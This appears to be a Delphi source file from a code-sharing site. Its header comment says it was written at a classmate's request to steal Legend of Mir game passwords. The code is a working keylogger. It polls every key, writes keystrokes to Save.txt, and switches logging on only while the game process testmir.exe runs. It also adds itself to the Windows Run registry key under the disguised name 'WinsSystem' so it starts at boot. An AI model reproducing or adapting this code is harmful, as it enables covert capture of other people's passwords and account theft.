main.~pas
上传用户:mrkingwuhu
上传日期:2007-05-27
资源大小:185k
文件大小:8k
源码类别:

控制台编程

开发平台:

Delphi

  1. unit main;
  2. {受同学之邀,要我写个盗传奇密码的程序,以前从没有搞过,不知从何下手
  3. 知道原理是键盘记录这方面的,所以写了个很简单的键盘记录器罢了,并不
  4. 是什么密码截取器.
  5. (以TEST.EXE为例)本程序是通过几个时钟控件,一个用来监视}
  6. interface
  7. uses
  8.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  9.   Dialogs, ExtCtrls, StdCtrls, Registry;
  10. type
  11.   Tw_main = class(TForm)
  12.     Timer_keyrec: TTimer;
  13.     Timer_savetxt: TTimer;
  14.     Memo_gettxt: TMemo;
  15.     Timer_thread: TTimer;
  16.     Label_thread: TLabel;
  17.     procedure Timer_keyrecTimer(Sender: TObject);
  18.     procedure Timer_savetxtTimer(Sender: TObject);
  19.     procedure Timer_threadTimer(Sender: TObject);
  20.     procedure FormCreate(Sender: TObject);
  21.   private
  22.     { Private declarations }
  23.   public
  24.     { Public declarations }
  25.   end;
  26. var
  27.   w_main: Tw_main;
  28. implementation
  29. uses public_fun;
  30. var
  31.   F:Textfile;
  32. {$R *.DFM}
  33. //Detect Press Key From any window
  34. procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
  35. var
  36.   i : byte;
  37. begin
  38.   for i:=8 To 222 do
  39.   begin
  40.      if GetAsyncKeyState(i)=-32767 then
  41.       begin
  42.       case i of
  43.       8  : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
  44.       9  : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
  45.       13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
  46.       17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
  47.       27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
  48.       32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
  49.       // Del,Ins,Home,PageUp,PageDown,End
  50.       33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
  51.       34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
  52.       35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
  53.       36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
  54.       //Arrow Up Down Left Right
  55.       37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
  56.       38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
  57.       39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
  58.       40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';
  59.       44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
  60.       45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
  61.       46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
  62.       145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';
  63.       //Number 1234567890 Symbol !@#$%^&*()
  64.       48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
  65.            else Memo_gettxt.text:=Memo_gettxt.text+'0';
  66.       49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
  67.            else Memo_gettxt.text:=Memo_gettxt.text+'1';
  68.       50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
  69.            else Memo_gettxt.text:=Memo_gettxt.text+'2';
  70.       51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
  71.            else Memo_gettxt.text:=Memo_gettxt.text+'3';
  72.       52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
  73.            else Memo_gettxt.text:=Memo_gettxt.text+'4';
  74.       53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
  75.            else Memo_gettxt.text:=Memo_gettxt.text+'5';
  76.       54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
  77.            else Memo_gettxt.text:=Memo_gettxt.text+'6';
  78.       55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
  79.            else Memo_gettxt.text:=Memo_gettxt.text+'7';
  80.       56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
  81.            else Memo_gettxt.text:=Memo_gettxt.text+'8';
  82.       57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
  83.            else Memo_gettxt.text:=Memo_gettxt.text+'9';
  84.       65..90 : // a..z , A..Z
  85.           begin
  86.           if ((GetKeyState(VK_CAPITAL))=1) then
  87.               if GetKeyState(VK_SHIFT)<0 then
  88.                  Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
  89.               else
  90.                  Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  91.           else
  92.               if GetKeyState(VK_SHIFT)<0 then
  93.                   Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  94.               else
  95.                   Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
  96.           end;
  97.       //Win
  98. //      91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
  99. //      92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
  100.       //Numpad
  101.       96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad  0..9
  102.       106:Memo_gettxt.text:=Memo_gettxt.text+'*';
  103.       107:Memo_gettxt.text:=Memo_gettxt.text+'&';
  104.       109:Memo_gettxt.text:=Memo_gettxt.text+'-';
  105.       110:Memo_gettxt.text:=Memo_gettxt.text+'.';
  106.       111:Memo_gettxt.text:=Memo_gettxt.text+'/';
  107.       144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
  108.       112..123: //F1-F12
  109.           Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';
  110.       186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
  111.             else Memo_gettxt.text:=Memo_gettxt.text+';';
  112.       187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
  113.             else Memo_gettxt.text:=Memo_gettxt.text+'=';
  114.       188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
  115.             else Memo_gettxt.text:=Memo_gettxt.text+',';
  116.       189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
  117.             else Memo_gettxt.text:=Memo_gettxt.text+'-';
  118.       190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
  119.             else Memo_gettxt.text:=Memo_gettxt.text+'.';
  120.       191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
  121.             else Memo_gettxt.text:=Memo_gettxt.text+'/';
  122.       192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
  123.             else Memo_gettxt.text:=Memo_gettxt.text+'`';
  124.       219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
  125.             else Memo_gettxt.text:=Memo_gettxt.text+'[';
  126.       220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
  127.             else Memo_gettxt.text:=Memo_gettxt.text+'';
  128.       221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
  129.             else Memo_gettxt.text:=Memo_gettxt.text+']';
  130.       222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
  131.             else Memo_gettxt.text:=Memo_gettxt.text+'''';
  132.       end;
  133.       end;
  134.   end;
  135. end;
  136. procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
  137. begin
  138.   Assignfile(F,'Save.txt');
  139.   if not FileExists('Save.txt') Then
  140.     begin
  141.       Rewrite(F);
  142.       Closefile(F);
  143.     End
  144.   Else
  145.     Assignfile(F,'Save.txt');
  146.     {$I-}
  147.     Append(F);
  148.     {$I+}
  149.   If IOResult<> 0 Then
  150.     Begin
  151.       ShowMessage('Cannot Open File');
  152.     End;
  153.   Write(F,Memo_gettxt.Text);
  154.   Memo_gettxt.Clear;
  155.   Closefile(F);
  156. end;
  157. procedure Tw_main.Timer_threadTimer(Sender: TObject);
  158. begin
  159.   if detecthread('testmir.exe')='exist' then
  160.     begin
  161.       label_thread.Caption:='thread is Exist';
  162.       timer_keyrec.Enabled:=true;
  163.     end
  164.   else
  165.     begin
  166.       label_thread.Caption:='thread is NOTexist';
  167.       timer_keyrec.Enabled:=false;
  168.     end;
  169. end;
  170. procedure Tw_main.FormCreate(Sender: TObject);
  171. var
  172.   regis_mymir:TRegistry;
  173. begin
  174.   regis_mymir:=TRegistry.Create();
  175.   regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
  176.   regis_mymir.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true);
  177.   regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
  178.   regis_mymir.Free;
  179. end;
  180. end.